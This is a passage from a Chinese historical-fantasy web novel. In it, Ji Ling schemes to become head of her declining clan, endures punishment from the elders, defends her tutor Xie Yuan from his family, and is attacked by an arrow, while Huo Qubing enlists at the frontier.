姬莲结结巴巴地说道:“我不知道你在说什么,我听不懂。”说罢赶紧走开,甚至有些不敢看大家探究的目光。
姬父走到姬昤身边,眼神欣慰,却也有担忧:“昤昤,你同阿耶去书房。”
姬父脚步一滞,回头看向卫子夫:“你回昤昤的院子吧。”
卫子夫不语,只是看向身边的姬昤,待姬昤点头这才应下。
姬昤随着阿耶离开,月栀跟在其后,卫子夫回了英兰苑,其他人也渐渐离开了四房的院子。
书房。
“阿耶记得你幼时最爱看那些话本子,最喜欢听奇闻异事,何时晓得的这些?”姬父指的是方才姬昤对迁居雍州的看法。
“女儿又不是只看那些,阿耶也太小瞧女儿了。”姬昤走上前抱着姬父胳膊撒着娇。
姬父无奈笑道:“哪有,阿耶可从来没小瞧过你,就是你啊,今日是否冲动了些?那么多族人都在,你说的那些话怕是要传到族老他们的耳里,估摸着待会儿就要见你了。阿耶也是担心你,那些个族老惯会折磨人。”他就深受其害。
姬昤一想到那些倚老卖老的族老们就忍不住想翻白眼。那些个老家伙她都见过,小的时候还被他们惩罚跪祠堂呢,美其名曰为了姬家昌盛,不过是仗着自己年纪和辈分在那作威作福,那次她不过是像男孩子一样玩耍罢了,便被批判“没有娘子模样日后怕是会辱没姬家名声”。
可恶!
“见就见,我还想看看这么
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多年了还活着几个呢!”姬昤没好气地说道,说完还笑了。
姬父下意识瞥了眼外面:“唉,昤昤莫要这么说,让他们听到又要罚你了。”
昤昤自小因为这性子总被族老们罚跪祠堂、抄家规,他这个做阿耶的哪怕是家主都没法儿阻止。
“罚便罚了,反正我也不怕他们!若真要让我来当家主,第一件事就是把那些倚老卖老的族老们清算了!”姬昤愤愤道。
“唉!”姬父拉了下姬昤的衣袖。
姬昤嘻嘻一笑:“阿耶,这就你我二人,不怕旁人听见。”
“那也不能乱说,若你想当家主,就该注意你的言行举止,万不可再这么说话了。”姬父拍了拍姬昤的手背,劝道。
姬昤微笑:“阿耶这是支持我了?”
姬父无奈道:“看看如今的姬家早已不复当年盛景,或许你能改变姬家吧,阿耶……信你。”
姬昤抱着阿耶在他的脸颊上落下一个轻吻:“谢谢阿耶!”
姬父一把推开了姬昤,无奈道:“多大的孩子了还这样?以后可不许了!”
怎的幼时如此,长大了亦是如此?唉,到底是孩子。
“好好好,不做了不做了。阿耶若无旁的事,我先回去了?”姬昤笑呵呵地看着父亲。
姬父点头,摆了摆手,示意她回去吧。
姬昤蹦蹦跳跳就要离开书房,但思及方才自己说得那些话,到了门口就沉稳下来,微微垮着一张脸出去了,不知道的还以为她被训了。
月栀也是这么以为的,她在门口等着娘子出来,却见娘子神色不好,忙问了句,却只听娘子说“无事”,她便不好再多问什么,只觉是在四房院子里时那些笑话娘子的人惹了娘子生气。
姬昤和月栀走在弯弯绕绕的小路上,姬昤突然停下了脚步,她一抬手,身后的月栀也停了下来。
“娘子,怎么了?”月栀好奇地问。
前面什么也没有,为何娘子突然停下了?
“我好像听见了卫子夫的声音,还有……四叔?”姬昤皱眉。
月栀脑筋一转,轻声道:“娘子,不会是四爷看上卫姐姐了吧?方才奴婢瞧着四爷的眼神就不对劲呢!”
姬昤又往前走了些路,待瞧到人影后便躲在一处假山后仔细听着。
卫子夫往后退了一步,神色淡然,她道:“四爷自重,我是三娘子的人,您这般可有征得三娘子、家主和家主夫人的同意?可有四夫人的同意?”
姬四爷满脸不耐:“要他们同意做什么?再说了,你跟着我就是荣华富贵享不尽的,且只要你生下儿子,我可以让你和夫人平起平坐,你莫要担心。”说罢就要去拉卫子夫的手。
卫子夫脑袋微垂,瞧见那伸过来的手时眸光一黯,她抬眸刚想说些什么,只见一柄长枪朝着姬四爷飞了过去,最终擦破姬四爷的一片衣袖牢牢钉在了假山上,这突然的一下不仅吓到了卫子夫和姬四爷二人,更吓到了躲在假山后的姬昤和月栀。月栀差点叫出声来,还是姬昤捂住了她的嘴。
“原是四爷,真是对不住,我以为是什么登徒浪子妄图欺负子夫,便把枪扔了出去,没吓到您吧,四爷?”杨妙真赔着笑走了过来,说是赔罪,却没一点那个意思。
她又走到假山前,手握在枪柄上,刚想拔出就和姬昤对上了目光,姬昤摇了摇头,杨妙真神色正常地拔下了长枪,走回到卫子夫身边。
“四爷,您和子夫说什么呢?有什么都等我们三娘子回来再说吧。”她道。
姬四爷忍下不耐,心中颇为震惊。
姬昤身边何时有这样的女子,竟还会使枪?不是说只是有几个姬昤的好友来借住吗?这都是她从哪里认识的?
“没什么,见到了一帕子以为是这位娘子的,原是我认错了。”姬四爷说完转身就走。
待姬四爷走远了,姬昤和月栀这才从假山后走出。
“你没事吧?”杨妙真问卫子夫。
卫子夫摇了摇头。
“日后你就待在英兰苑内,若要出去定要有人陪同,离我这四叔远点,他就是个好色之徒。”姬昤走过去,一边说道。
卫子夫却沉默了一瞬,接着缓缓露出笑容:“或许……这也是个机会能帮到主公。”
姬昤:“啊?”
11. 参军
姬昤坐在窗前撑着脑袋看着外面随风飘起的花瓣,脑袋里想着两位兄长该到哪儿了。
马车行驶着,偶有颠簸,晃得里面的二人一下子惊醒。
姬瑾掀开帘子一角往外望了望,接着又放下帘子。
“阿兄,到哪儿了?”姬瑜伸了个懒腰打了个哈欠,问着。
“前面就是弋阳郡了,届时休息一晚再赶路。”姬瑾说道。
“弋阳?怎么才到这儿啊?还没出豫州……我们何时才到雍州、凉州?凉州可还要再远些呢!”姬瑜说着哼了声,“陛下也是,怎的突然这么糊涂,要把我们调到那里去?那是什么地方?真要觉得我们治下有方就该调回建康!”
姬瑾假咳了几声,瞪了眼姬瑜:“慎言!”
姬瑜倒是一脸无所谓:“慎言?慎什么言?那皇帝老儿都不在,能听到吗?更何况这外面都是咱姬家的人,阿兄你怕什么?胆子真是愈发小了。”
姬瑾无奈道:“这到底是安家的天下,你说话还是小心些,何况现在……皇上怕是要清算姬家了。”
姬瑜本来坐着没个正行,闻言立刻坐直了身子,他道:“清算姬家?安家算老几啊?当初皇位怎么来的忘了?没我们姬家他安家还能登上皇位?真是白眼狼!”
姬瑾瞪了眼姬瑜,虽说弟弟说的实话,但那毕竟是皇家,这般议论终归是不妥。
“要我说,这皇位就该我姬家人来坐!”姬瑜接着又道。
姬瑾双眼瞪大,一把捂住了姬瑜的嘴:“你胡说八道什么?!”
姬瑜拉开兄长的手,放低了嗓音,说道:“我没有胡说!我姬家百年望族,只不过是不想罢了,若要真去争那个位置,哪里轮得到安家来坐?”
姬瑾深深地看了眼姬瑜,接着长叹一口气:“你知道为何姬家百年望族却没有出过一位皇帝吗?”
“不就是懒得当嘛!当皇帝也不好,被这个束缚那个束缚,我姬家人也不稀罕。”姬瑜回答。
“这只是最浅显的一个理由。”姬瑾说着神色突然有些落寞,“姬瑜,姬家存在百年,已逐渐走下坡路了,现在亦不复当年梁朝盛景,如果陛下铁了心要清算姬家,左右不过多联合几家的事,我们姬家已经挡不住了。”
姬瑾所说的梁朝已经是一百三十四年前的朝代了,姬家就起于梁朝,因一次偶然的机会于梁朝十九年的时候兴起,至此开启了长达八十年的“统治时代”。
那时的姬家就连皇室都是供着、让着的,直至梁朝最后的几年时光,那时梁朝内乱崩裂,起义军四起,姬家也受到了严重影响,当时的家主为了姬家着想带着姬家隐退。再接着就是魏朝、景朝和如今的安朝,姬家已经不如当年了。
姬瑜闻言,神色也认真了许多,眉眼间带着担忧。
“阿兄,姬家……真的要不行了吗?阿耶这个家主做得挺好的呀,我瞧姬家那些人一个个还是嚣张无比的,不像是要……没落了呀。”
尤其是四叔和五房的几个郎君娘子,一个个都是用鼻孔瞧人的。
“你向来只看表象,现在的姬家,不,不只是姬家,萧家、崔家、王家、陈家……各大士族都不太行了,姬瑜,或许我们这次调任雍州、凉州会是一个机会。”姬瑾又掀起了帘子,瞧着路上的行人,一个个穿得勉强蔽体,他看向远方高高的城墙,那里是弋阳郡。
姬瑜透过窗口看向外面,他的神色有些惊讶:“怎的路上这样的人越发多了?”
“世道怕是要乱了……”姬瑾喃喃道,又放下了帘子,似是不忍心再看。
“那那两地岂不是……”姬瑜说到这停住了,他好像看见了飞起的黄沙和百姓干裂的嘴唇,他们的眼里似乎含着泪水。
霍去病抬手挡在额前,他眯着眼看着远方,那里是匈奴的地盘。
他赶路这么久终于到了。
“大哥哥,你在看什么?”路过的小孩站在霍去病身边,仰着头好奇地问着。
“我在看……”霍去病低下头,却愣了一瞬。
小姑娘扎着两个小辫子,小脸黄黄的有些粗糙,但两个眼睛却又黑又亮,她瞧着有些瘦,嘴巴也是干的。
“我在看匈奴。”霍去病回答。
“看他们做什么?那都是坏人,应该打他们才对。”小姑娘说完还哼了声。
“你说得对。”霍去病点头赞同,他救赎来干这个的,只是现在缺个名头。
“大哥哥,你看着不像我们这里的人啊,你是来这做生意的吗?”小姑娘又问。
他们这里虽说也有这般好看的男儿,却不如这大哥哥精细,这里风沙大,养不出娇嫩的花儿。
“嗯……”霍去病想了想,“我是来打匈奴的。”也多亏了他自己在来的路上救了个人,巧的是那人是个当官的,给了他通关文牒,他这才能一路顺畅,就是不知现在该如何去打匈奴,他现在是要啥没啥。
小女孩两眼一亮:“打匈奴?大哥哥你是当兵的吗?”
“是吧。”霍去病含糊道,但转念一想,这就是途径啊!
“小姑娘,你知道在哪儿可以参军吗?”他问。
小姑娘“啊”了一声,有些不解,大哥哥不就是当兵的吗?怎么还要参军?那是当兵的还是不是啊?
不过霍去病眼神太过热烈真挚,小姑娘便说道:“你跟我来,我带你去吧。”
小姑娘带着霍去病七拐八拐找到了地方,这里只有一个穿着军装的男人懒洋洋地坐着,三三两两的人排着队在登记。
“喏,就在那!”小姑娘指着那边说道。
“谢了。”霍去病说着走了过去开始排队。
总共也没几个人,很快就到了霍去病。
“姓名。”登记的人头也没抬,说话页数懒洋洋的。
“霍去病。”霍去病回答。
“哟,这名字倒是不错,跟前面那几个铁柱、二牛比起来可好听太多了,念过书的吧?”登记的人还是没抬头,只是一边写着一边问。
“嗯。”霍去病应了声。
“哪儿的人啊?”登记的人又问。
霍去病沉默了一瞬,回答:“我……我……”说到后面还挤出了泪水。
登记的人一抬头就瞧见霍去病似乎在抹眼泪:“你哭啥?长得还挺好的,细皮嫩肉的来参军……”
“我家原是西海郡的,没了,都被匈奴抢去了。”霍去病一脸悲伤。
登记的人长叹一口气:“原是如此,可怜呐……”说着写下西海郡三字。
霍去病瞥了眼然后擦干净泪水。
那已经被匈奴抢去了,便是去查也是查不到有没有他这个人的。
“多大了?我瞧你才十六七的样子。”他打量了一下霍去病,然后空了点位置写下有关他体貌的描写——
长八尺,容貌堂堂,风姿绰约,英武不凡……
“十七。”霍去病忍俊不禁,但还是努力憋住了笑,毕竟他才哭自己家没了。
“啧,年纪轻轻来当什么兵。”登记的人虽这么说也还是写下了,毕竟现在这边缺兵,他又问,“家中什么情况?家有几人?”
霍去病两眼一眨,眼泪又出来了:“家里就是农户,一起也没了,就剩我一个了。”
登记的人又是叹气:“你擅长什么吗?比如骑射。”
“对,就是骑射。”霍去病当即点头。
“啊?你家里都是农户你还能擅长骑射?”登记的人有些疑惑。
霍去病神色淡然地解释道:“住在边疆的人哪有不会骑马的?曾经有邻居是猎户,教了我射箭。”
登记的人了然地点了点头:“既如此,你正好去骑兵的队伍,好了,登记完了,今日酉时三刻在这里集合。这牌子你拿好。”说着拿了个木牌子递给霍去病。
“嗯。”霍去病接过木牌子,应了声。
“对了,我姓刘,你叫我刘哥就行。”他又道。
“好的刘哥。”霍去病笑着应道,说完转身就要走。
“唉,等等。”刘哥喊住了霍去病,待他转身接着说道,“你都没家了,那在这可有去处?”
霍去病摇摇头。
“罢了罢了,去我家吧,我让你嫂子做顿好的,你一起吃点吧。”刘哥抓了抓头。
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“你去呗,春花嫂子做饭可好吃了!”小姑娘扯了扯霍去病的衣服。
“你们认识?”霍去病好奇问道。
“嗯!我还去吃过饭呢,不然咋知道春花嫂子做饭好吃?”小姑娘点头。
“走吧走吧,正好晌午了。”刘哥起身收拾好东西拽着霍去病就走了,连带着小姑娘一起。
刘哥家在一条巷子尽头,几人绕来绕去终于到地方了。
“春花!中午多俩人吃饭,你多少点好菜!”还没走进院子刘哥就扯着嗓子喊道。
三人进入院中,就见一圆脸、杏眼、手里还拿着锅铲的女人从灶间出来,她抬手擦了擦额间细微的汗水,她嗓音响亮,笑着应了声“好”,接着又走了回去。
“来,坐,待会儿让你尝尝你嫂子的好手艺,这手艺我在军营的时候天天都想呢!”刘哥带着两人到桌前坐下。
一大一小两个孩子从屋内跑了出来。
“阿耶!”两个孩子喊着,然后扑进了刘哥怀里。
“唉!早上都做了些什么啊?”刘哥笑得一脸慈祥,柔声问着两个孩子。
“帮阿母洗菜!”姐姐先说道。
“帮阿母洗菜!”弟弟很小,说话也不太利索,只是重复姐姐说的话,说完还笑呵呵的。
姐姐又转头看向霍去病,然后又看向自己阿耶,有些害羞地问:“阿耶,这个大哥哥是谁啊?”长得真好看。
“你好啊。”霍去病笑着打了个招呼,露出一口大白牙。
姐姐整个人都窝在阿耶的怀里,露出半张脸笑着看着霍去病,一脸的不好意思。
“这是今天参军的大哥哥,家里就他一个了,阿耶就把他带回来一起吃饭,你可别欺负人家!”刘哥捏了捏女儿的脸。
姐姐面色一变,瞪了眼自己阿耶:“我哪里是那样的人?阿耶真讨厌!”说罢脱离了怀抱跑到了小姑娘身边。
“小花走,我们玩去!”姐姐拉过小姑娘的手。
两个女孩子手拉着手就跑开了。
“等等,窝!还有窝!”弟弟小跑着跟了上去。
刘哥不好意思地抓了抓脑袋:“这孩子自小调皮惯了,你别理她。”
“无碍,孩子么,都是这样的。”霍去病并不在意。
等了不过一刻钟,菜都上齐了,六个人围着一张小桌子吃着。
“哎哟,可怜见的,你多吃点,还长身体呢。”春花嫂子听了霍去病的遭遇,满脸心疼,给他碗里夹的菜堆得小山高。
“谢谢嫂子,你们吃,都吃。”霍去病扫了眼眼前的菜,都是再普通不过的菜,荤腥少的可怜,就这样,刘哥和春花嫂子还拼命给他夹菜,两个孩子还眼巴巴地看着他的碗。
都是可怜人。
“刘哥,近来匈奴有来骚扰吗?”霍去病问。
这里是长城郡,离匈奴很近,匈奴时不时就来扫荡抢粮,百姓们日子苦得很。
“倒是安分了大半个月没来了。”刘哥回答。
“我瞧这里守军有些松散,是……上面不太管吗?”霍去病又问。
刘哥叹了口气,想再吃口菜犹豫了会儿还是放下了筷子和碗,他道:“管啊,可是管也没办法,建康那边不管啊!不给人不给粮不给钱,全靠我们这里自给自足,匈奴又总来抢,我们哪里有办法?”
霍去病心里暗道,皇帝昏庸,倒是给了主公机会,待他拿下军功混入朝廷中,说不定就能策反一些人,还能带走军队直接为主公效命。就是苦了边关的百姓,一直遭受折磨。
“你小子还年轻,届时上了战场别往太前面冲,留条命吧。”刘哥劝了句。
“嗯嗯,晓得晓得,我肯定不会往前冲的。”霍去病点头应着,思绪却飘远了。
“多吃点多吃点,别跟咱客气。”春花嫂子又给霍去病夹了菜。
霍去病有些感动,露出大大的笑容,像雪融后的春水,冷冽中带着温暖,看着就让人欢喜。
姐姐又看呆了,连带着弟弟也一起呆呆地看着霍去病,像是被迷住了。
刘哥和春花嫂子对视了眼,笑得有些无奈。
12. 罚跪祠堂
淅淅沥沥的春雨下着,一滴滴落在青石板路上溅起点点水花,春风不算温暖,还有些刮人。
穿林打叶声传入姬昤的耳朵,她却觉得格外动听,比眼前这些爱说教的老家伙们的声音好听太多了。
“女儿家满嘴胡话,真不知道你阿耶阿母都是如何教导你的!”老者下巴的白胡子长长,他一只手抚摸自己的胡子,一只手杵着一根拐杖端坐在上方,眼神不善。
“你也及笄了,也该嫁人了,可有相看好人家?你阿母也该上点心了。女儿家还是要嫁个好人家相夫教子的,不该掺和的事不要去管。”一瞧着要年轻些的老者语气虽温和,可姬昤能从他的眼里瞧出不耐。
“姬家儿女中,就你从小就不听话,上天入地摸鱼爬树的,没一个姑娘家的样子,如今长大了还是这么不让人省心!你之前的那些话也就是在家里说说,若是让外人知晓了,怕是都要笑话我姬家出了个‘不得了’的娘子了!”又一老者说道,说完还冷哼了声。
“还有你院中的那几个友人,不是暂住吗?这都住了多久了?怎的还不回去?她们也都是娘子,没嫁人吗?家中不管吗?我们姬家可不是谁都能长住的。”又一人说道。
……
姬昤是一点儿都听不进去,就觉得一群白胡子老头叽叽喳喳的吵死了,她不禁挪了下膝盖,一直跪着疼死了。
眼尖的老头开口骂道:“怎的,让你跪着还委屈你了?觉得自己没错?组规抄了那么多遍也没见你记住!家主,我看你平日里是太过疏于对孩子的教导了!”他说着指向姬父,吹胡子瞪眼的。
姬父张了张嘴却不知该怎么反驳,可看见宝贝女儿跪在地上又是满眼心疼。
姬母站在姬父身边,忍不住扯了扯他的衣服。
姬父开口道:“各位族老,昤昤她……她就是调皮了些,没有坏心思的,她也都是为了姬家好。”
“哼!绥英绥英……这表字让你取的,给她性子都养野了!”一老头冷声道。
姬昤闭了下眼,忍下不耐。
“我看还是早日找个好人家把她嫁出去吧。”一老头说道。
姬母也是忍不住了,开口道:“昤昤虽已及笄,但也不过十五,还小,我当年嫁进姬家也有十八了,昤昤再等几年又何妨?还是说各位族老觉得以姬家的地位,昤昤年龄大了便嫁不出去了?”
姬母凛冽的目光扫过众族老,众族老面色变得不太好看。
姬昤泪眼汪汪地看着自己阿母,心里一阵感动。虽然之前阿母一直催着要给她找婆家,可在关键时刻还是站在她这边的。
“是啊是啊,昤昤才十五,婚姻大事可不能草草决定。”姬父也附和道。
“既如此,那便管好自己的嘴,什么该说什么什么不该说心中应当清楚才是!你可是姬家嫡出一脉的娘子,要给旁人做好榜样!”一老头指着姬昤说道。
“是,姬昤清楚。”姬昤心不甘情不愿地应道。
族老们听得出来她的不情愿,但到底还是要给家主和家主夫人二人面子,也就不管了。
“这次小惩大诫,就在祠堂跪一晚吧。”最年迈的族老开口说道。
“是。”姬昤又应了声,依旧是不情不愿。
族老们相继离开,祠堂内只留下姬父姬母和姬昤三人。
待族老们走远了,月栀立马关上了门,紧接着跑到姬昤身边扶着,姬昤从地上爬了起来,拍了拍自己的膝盖处。
“傻子才跪呢!”姬昤嘟囔了句。
“跪疼了吧?阿母给你揉揉。”姬母走了过去,一边弯腰揉着姬昤膝盖处的软肉。
“阿母揉了就不疼了。”姬昤抱着姬母的胳膊撒娇道。
“好好好,阿母多给你揉揉就好了。”姬母无奈笑道,手下动作不停。
姬父扫了眼祠堂内的一众牌位,轻叹了口气。
“阿耶叹气作甚?”姬昤问。
“你呀,这些族老们年纪也大了,说的难听些,也都活不了多久了,日后还是少说那种话吧。若真忍不住,你就别说,做就是了。额……不,唉……罢了。”姬父说着说着便觉自己意思表达不对,也就不再说了。
姬昤笑了:“行,我直接做,少说多做。那些族老们不得被我气死?哈哈哈。”
姬父虽觉得不好,却也觉得好笑,没忍住笑了几声。
四人互相瞧了瞧,都忍俊不禁。
下午时分,雨渐停了,阳光透过半开的窗户洒在了姬昤跟前的地上。
姬昤坐在软垫上伸出手,感受着阳光的温暖。
“这个时候也不知道阿兄他们到地方了没。”姬昤自言自语道。
“娘子,还早呢,现下估摸着才到荆州吧。”月栀坐在姬昤旁边,说道。
“唉,才到一半,那再等半个月再给他们寄信吧。”姬昤一边说着一边玩着——用手在阳光下变换各种样子,“还有霍去病,这都去了边疆这么久了,怎么一点儿消息都没有?唉……”
一旁的月栀不禁问:“娘子,届时姬家真的要搬去雍州吗?听闻那里的百姓过得都很苦,我们去了那儿也会过苦日子的。”
“莫怕,那里本身不苦,该有的都有,怪就怪匈奴总是去抢去杀。”姬昤回答。
月栀瞪大了眼睛,怎么听着更苦了?
“那,那,娘子,我们何时去啊?”月栀问。
她可得好好准备准备,一直听闻边疆苦,什么吃的喝的用的她可得多带些,不能苦了娘子还有她自己。
“还不知道呢,我得先当上家主才行,不然姬家人多嘴杂的,能有几个人听我的?”姬昤收回手摸了摸肚子,看向月栀,“我都有些饿了,去拿点吃的来吧。”
“唉,这就去。”月栀从地上起身转身跑出了祠堂。
待月栀走后,从门外走进来一人——卫子夫。
“主公。”卫子夫微蹲了一下,接着走到姬昤身边跪坐下。
“进展如何?”姬昤问。
卫子夫淡笑,回答:“那姬四爷就是个好色之徒,脑子也笨,我不过言语上多哄了几句,就什么都跟我说了。”
“哦?”姬昤勾唇,来了兴趣。
“姬四爷与四夫人有了隔阂,姬四爷嫌夫人年纪大了又生不出儿子,生的几个儿子也都无用,便纳了许多妾室进门,又许诺我只要我跟了他生下儿子,就让我和四夫人平起平坐。四房总共两名
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郎君四名娘子,如今就只剩下二郎君和五娘子、十五娘子了,姬四爷现在日日夜夜都要宿在妾室们房中,前些日子有两人被把出有了身孕,四夫人早已心灰意冷,如今更是一病不起。”卫子夫缓缓道。
“四房……四叔玩得还挺花。”姬昤挠了挠鼻子,有些无语。
卫子夫轻笑了声,又道:“娘子也该放心了,四房抢不了家主之位的,就是大房和五房……”
“嗯?有何高见?”姬昤又问。
“据属下观察,大房大多是心思深沉之辈,心思难以捉摸,而五房的人虽瞧着张扬了些,但也都有自己的算盘,就说十二娘子,她与谢家定亲,而那谢家明明早已落魄,为何五房会将嫡女嫁过去?当时在八郎君的丧仪时属下观察过,五房怕是和其他势力勾上了,只是属下能力有限,不得知是何方势力。”卫子夫回答。
“嗯,我也派了人去查了,只是一时半会儿的还没消息。”姬昤。
“主公,我们最应提防大房,五房的心思不在家主位,而大房……”卫子夫。
“知道了。我那大伯和大伯母确实是不简单的,尤其是大伯母,总是闷声不响干大事。”姬昤说着还有些佩服。
“若实在不行,不如以武力掌控姬家,直接抢了家主位。”姬昤又道,还挪了挪屁股坐的位置,似乎是坐久了不舒服。
“主公莫要冲动,武力掌控可作为下策,最好还是掌控人心,以实力登上家主位。”卫子夫柔声道。
姬昤不好意思地笑了笑:“嗐,放心放心,我不会乱来的。”
卫子夫脑袋微向后侧了点:“来人了,属下先告退。”说罢起身快速离去。
不过多久,月栀回来了,手里拿着一个食盒,她在关上门前还小心翼翼地瞧了瞧,就怕被人看见。
“娘子,奴婢拿了些糕点来,还有一碗糖水。”月栀在姬昤身边坐下,说着一边打开了食盒,把吃的拿了出来,在姬昤面前放好。
接着,月栀又抬头瞧了眼前面的姬家祖宗们的牌位,不禁说道:“娘子,要给祖宗们贡些吃食吗?”
姬昤咕噜咕噜吃着糖水一边说:“贡了最后还不是咱们吃?”
“也是,娘子说得对。”月栀笑着端起糖水,刚想喝口,想起了什么,“娘子,谢先生那好像出了点事。”
姬昤立刻放下碗:“出了何事?”
“谢家的人知道娘子把谢先生带到了姬府已经找上门来了,说是希望姬家把谢先生交出去由他们处置,现下那里有冼娘子和杨娘子暂时还出不了什么事,可时间一长怕是族老们会出面交出谢先生。”月栀皱着眉头。
她虽然不清楚为何娘子要把谢渊请回来,但既是娘子的决定那便是对的,她就怕姬家族老们出面,那样的话娘子恐怕就留不下谢先生了。
“什么?!”姬昤大惊,当即站起身就要往外跑。
月栀赶紧放下碗,起身去拦住姬昤:“娘子,您现在是受罚,去了只怕要多跪好几晚呢!”
“这不重要!谁要是把我请回来的先生弄跑了我跟他没完!”姬昤说着就冲了出去。
月栀看看姬昤又回头看看那些牌位,叹了口气,无奈追了上去。
13. 找事,刺客
姬昤和月栀还没走进谢渊住的院子就听到了吵吵嚷嚷的声音,听着就有许多人在里面。
姬昤隐隐约约听见的大多都是对谢渊的咒骂,却没听见谢渊的声音,她反而还听到了霍光的声音,好像在说些维护谢渊的话。
“何人竟敢在我姬府放肆!”姬昤喝着就踏步进去,冷着一张脸瞧着还挺吓人。
月栀也跟着气势汹汹的鼓着脸做出唬人的模样。
院内众人看向姬昤。
冼英和杨妙真还有霍光、谢渊的小厮四人挡在谢渊身前,对面是一干谢家人。
谢家人不知道姬昤是谁,只是听她的语气猜测她在姬家地位并不低,因此谁都不敢先开口,怕得罪了人。
“三娘子,便是他们在姬府吵闹。”月栀说道。
月栀一句话便解释了姬昤的身份。
“原是姬府三娘子,我等也不是来闹事的,只是你把我谢家的罪人带到姬府藏匿是为何?三娘子不打算给我等一个解释吗?”
谢家众人中站出一瞧着只有二十来岁的年轻男子,看样子是这群谢家人的主心骨。
姬昤上下打量了一番男子,轻笑了声:“解释?我需要给你解释吗?”
不等谢家等人生气,姬昤又道:“谢渊早已脱离谢家,便不再是谢家的人,既如此他在哪儿还需要跟你们解释吗?更何况你们现在在我姬家的地盘,你竟还敢这么跟我说话?”她直勾勾地盯着男子,眼神微冷。
“你!”男子一哽,眼神变换,接着又道,“的确如此,但世人皆知这谢渊是我谢家罪人,姬三娘子如此光明正大地把人请进府中,不是与我谢家作对幼时为何?姬三娘子也应当给我们一个解释!”
谢渊却笑了:“罪人?谁是罪人自己心里有数。”
谢家众人都十分气愤,只是有些年纪较大的看起来脸色不太对,眼神也有些虚。
姬昤一瞧便知这其中有鬼,谢渊并不像世人所说的那般“冷心冷情、恶魔、牲畜、疯子”,反观那几个变了脸色的谢家人,一看就是心里有鬼,到底谁才是罪人可还说不准呢。
“姬三娘子,你们姬家的十二娘子和我们谢家的二郎君可是定了亲的,再有三月就要成婚了,届时大家都是一家人,没有必要为了一个罪人闹得不愉快吧?”男子又道。
“是姬莲嫁到你们谢家又不是我姬昤。”姬昤嗤笑了声,接着朝杨妙真伸出手。
杨妙真心领神会,把手中的长枪扔了过去,姬昤一把抓住,然后放平指向谢家人。
“你们走不走?还是说要我派人赶你们走?”
“姬三娘子这是何意?竟还要动手吗?姬家便是这样教导娘子的?!”男子指着姬昤怒道,说罢甩袖背手在身后,瞧着很是生气。
“谢家竟是这么教导子孙在他人府上闹事的吗?!”姬昤瞪了回去,喝道。
“你!”男子气急了,一时间却又想不出什么话来反驳,反倒把自己脸气红了。
“说不出来了吧?那就请你们离开,别让我派人‘送’你们出去。”姬昤收回手,长枪的底端敲在地上发出一阵声响。
谢家众人都看向男子,似乎在询问他该怎么办。
男子沉默片刻,甩袖离去,落下一个字——
“走!”
谢家众人这才离开。
院子突然就变得空落落的了。
“先生,您这衣袖破了,待会儿换下来我给您缝一下。”谢渊的小厮温声道。
谢渊看了眼自己开了线的衣袖,“嗯”了一声。
“先生既已无事,我们二人就先回去了。”冼英和杨妙真说着离开了院子,姬昤把长枪还给了杨妙真。
姬昤走到谢渊跟前,围着他看了好几遍。
“先生没事吧?”姬昤问。
“无碍,就是拉扯中撕坏了衣服,小事。”谢渊语气淡淡的,似乎并不在意刚才发生的一切。
“先生既无事那我也就放心了,也请先生放心,我会让姬府的下人们注意的,不是什么阿猫阿狗都可以放进姬家的。”姬昤说道。
谢渊抬眸瞥了眼姬昤:“他们既然能进来定是得了授意,三娘子也不是个愚笨的,应当能知晓是谁吧。”
“还能是谁,定是五房的人,如今姬家能和谢家扯上关系的就是和谢家二郎君定亲了的姬家五房十二娘子姬莲了。”姬昤淡定说道。
“嗯,那便是三娘子的家事了,老夫便不多说什么。”谢渊。
姬昤点了下头:“先生好好休息,教书一事稍耽搁些也无事,今日让先生受惊了,是我之过错,还请先生见谅。”
“三娘子太客气了,无事的,以往这种事几乎日日上演,我早已习惯。”谢渊说着轻笑了声,似是在笑自己。
“那我就离开了,我还要回祠堂罚跪,就不多留了。”姬昤也轻笑了声,打趣着。
姬昤转身就走,月栀紧跟其后。
谢渊见状不禁开口:“三娘子就一点儿不好奇某的过往么?”
姬昤停住脚步,却并未回头,她道:“先生若是愿意说我自愿意听,但若先生不愿,我也不会强求。”说罢继续往院外走去,等姬昤和月栀快走出院子的时候却听到了谢渊的声音。
他说:“其实也无甚,只是一群食多了五石散的畜生干了荒唐无人道的恶事被我发现了,我气急了便杀了那些人,也算是为谢家清理门户了。”
姬昤回头,笑容在雨后的阳光下显得格外温暖:“多谢先生。”
姬昤和月栀的身影越走越远,谢渊收回目光,呢喃了一句:“倒与旁人不同。”
姬昤和月栀回到祠堂,刚才的糕点糖水都还在地上放着,只是甜蜜气息引来了鼠蚁啃食,人是不能再吃了。
“娘子,我待会儿再重拿些来吧。”月栀一边说着一边收拾着地上、食盒里的残渣。
“不必了,也不想吃了。你收拾完就回英兰苑吧,不用在这陪我了。”姬昤说道。
“啊?可娘子您一人在这儿待一晚上得多无聊啊!有奴婢在还能陪您聊聊天解解闷呢!”月栀不解。
“不必了,我想自己清净会儿,你回去罢。”姬昤淡淡一笑,摸了摸月栀的脑袋。
月栀瘪嘴:“娘子这是嫌我话多了?”
姬昤失笑:“你这说的什么话?没有的事,我就想自己待会儿。”
“好吧,奴婢走了。”月栀闷声应了,收拾好残渣便离开了祠堂。
姬昤站在众牌位前,眼神扫过一座座牌位,她的手拂过最下面中间的牌位,那是她在这的阿翁——祖父的牌位。
阿翁疼她甚过两位兄长,自小阿兄们有的她也有,甚至更多,可惜阿翁去的早,否则她会在姬府过得更加恣意快活。
“阿翁,昤昤想当家主,您觉得如何?”姬昤看着阿翁的牌位,柔声道。
“昤昤虽是女子,但您在昤昤幼时便教导昤昤女子亦无何不同,男子能做之事女子亦能做,可如今您不在了,他们却笑昤昤只是一介女子。”
“阿翁,姬家现如今越来越差了,若是还身在这漩涡中心,恐终有一日会惹来灭族之祸。”
“阿翁,昤昤若是家主,应当很不错吧?”
“阿翁,其实昤昤想做的不只是家主……”
……
在阿翁牌位旁是阿婆——祖母的牌位。
姬昤对阿婆的记忆不深,因为阿婆在她幼时便病逝,那时她不过四岁,只记得阿婆喜欢笑、喜欢漂亮、喜欢吃甜食,可阿婆去世前饱受病痛折磨瘦得不成样子,笑不出来、不再美丽、无法食甜。
她隐约记得阿婆时常抱着她唱一首童谣,可日子太长,她已经记不清是什么词、如何唱了。
姬昤看着二人的牌位陷入了回忆中,回忆太甜让她忍不住露出怀念的笑容。
忽然,姬昤脸色一变,她一个斜眼,一支穿云箭破窗向她袭来。
